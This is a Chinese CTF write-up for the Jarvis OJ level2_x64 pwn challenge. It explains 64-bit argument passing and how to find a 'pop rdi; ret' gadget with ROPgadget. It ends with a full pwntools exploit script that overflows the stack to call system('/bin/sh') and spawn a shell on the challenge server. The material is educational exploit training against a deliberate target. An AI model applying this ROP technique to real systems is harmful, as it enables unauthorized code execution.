checksec查看一下保護(hù)的情況

checkesc
好的,只開(kāi)啟了NX,其余的都沒(méi)有開(kāi)啟。進(jìn)入ida,shift+F12發(fā)現(xiàn)了“bin/sh”字符串,想到要從這部分入手了。

ida里面找到的bin/sh
主要程序反匯編后和level一樣,棧溢出很容易找到溢出點(diǎn)。
關(guān)鍵點(diǎn)在于32位和64位傳遞參數(shù)的時(shí)候是不同的,32位是所有的參數(shù)都入棧,而64位是從第一個(gè)到第六個(gè)依次保存在rdi,rsi,rdx,rcx,r8,r9這6個(gè)寄存器當(dāng)中,從第7個(gè)參數(shù)開(kāi)始后的所有參數(shù)才會(huì)通過(guò)棧傳遞。
也就是說(shuō),在32位程序中運(yùn)行時(shí),調(diào)用函數(shù)棧的結(jié)構(gòu)為:調(diào)用函數(shù)地址->函數(shù)的返回地址->參數(shù)n->參數(shù)n-1->......->參數(shù)1
而在64程序中運(yùn)行時(shí),參數(shù)的傳遞是需要ebi寄存器的,前6個(gè)參數(shù)按順序存儲(chǔ)在6個(gè)寄存器當(dāng)中,如果函數(shù)的參數(shù)超過(guò)6個(gè),就和32位一樣進(jìn)行壓棧。
system我們只需要一個(gè)參數(shù),所以這個(gè)題目的關(guān)鍵就在于'bin/sh'字符串的地址要放到rdi當(dāng)中去,所以我們要找到rdi的地址。
那我們就要用到一個(gè)小工具,ropgadget來(lái)找到我們需要的rop鏈。
ropgadget可以在匯編語(yǔ)言里面搜索我們需要的字符串或者命令。

很好用的ROPgadget
好的!我們發(fā)現(xiàn)了pop rdi ;ret!
即為將棧頂元素彈出并存入寄存器rdi,ret返回棧,所以我們就可以利用它將函數(shù)參數(shù)傳入寄存器。
腳本如下。
from pwn import *
p = remote('pwn2.jarvisoj.com','9882')
elf = ELF('./level2_x64')
sh_addr = elf.search('/bin/sh').next()
print p64(sh_addr)
#sh_addr = 0x0000000000600A90
system_addr = elf.symbols['system']
print p64(system_addr)
junk = 'a' * 0x88
rop_addr = 0x4006b3
#ROPgadget --binary level2_x64 --only 'pop|ret '
payload = junk + p64(rop_addr) + p64(sh_addr) + p64(system_addr)
p.send(payload)
p.interactive()